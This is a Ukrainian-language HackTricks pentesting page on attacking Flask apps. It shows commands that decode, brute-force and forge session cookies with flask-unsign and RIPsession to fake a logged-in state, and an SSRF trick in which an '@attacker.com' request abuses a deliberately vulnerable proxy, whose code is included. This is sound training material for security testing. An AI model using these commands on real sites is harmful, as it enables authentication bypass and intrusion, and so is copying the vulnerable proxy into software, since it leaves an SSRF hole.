# Flask {{#include ../../banners/hacktricks-training.md}} **Можливо, якщо ви граєте в CTF, додаток Flask буде пов'язаний з** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.** ## Cookies Ім'я сесійного cookie за замовчуванням - **`session`**. ### Decoder Онлайн декодер cookie Flask: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) #### Manual Отримайте першу частину cookie до першої крапки та декодуйте її в Base64. ```bash echo "ImhlbGxvIg" | base64 -d ``` Кукі також підписується за допомогою пароля ### **Flask-Unsign** Командний рядок для отримання, декодування, брутфорсу та створення сесійних кукі Flask-додатку шляхом вгадування секретних ключів. {{#ref}} https://pypi.org/project/flask-unsign/ {{#endref}} ```bash pip3 install flask-unsign ``` #### **Декодувати Cookie** ```bash flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' ``` #### **Брутфорс** ```bash flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '' --no-literal-eval ``` #### **Підписування** ```bash flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' ``` #### Підписування за допомогою застарілих (старих версій) ```bash flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy ``` ### **RIPsession** Командний рядок для брутфорсу вебсайтів, використовуючи куки, створені за допомогою flask-unsign. {{#ref}} https://github.com/Tagvi/ripsession {{#endref}} ```bash ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ``` ### SQLi в Flask сесійних куках з SQLmap [**Цей приклад**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) використовує sqlmap `eval` опцію для **автоматичного підписування payload'ів sqlmap** для flask, використовуючи відомий секрет. ## Flask проксі для SSRF [**У цьому описі**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) пояснюється, як Flask дозволяє запит, що починається з символу "@": ```http GET @/ HTTP/1.1 Host: target.com Connection: close ``` У якому з наведених сценаріїв: ```python from flask import Flask from requests import get app = Flask('__main__') SITE_NAME = 'https://google.com/' @app.route('/', defaults={'path': ''}) @app.route('/') def proxy(path): return get(f'{SITE_NAME}{path}').content app.run(host='0.0.0.0', port=8080) ``` Може дозволити ввести щось на кшталт "@attacker.com", щоб викликати **SSRF**. {{#include ../../banners/hacktricks-training.md}}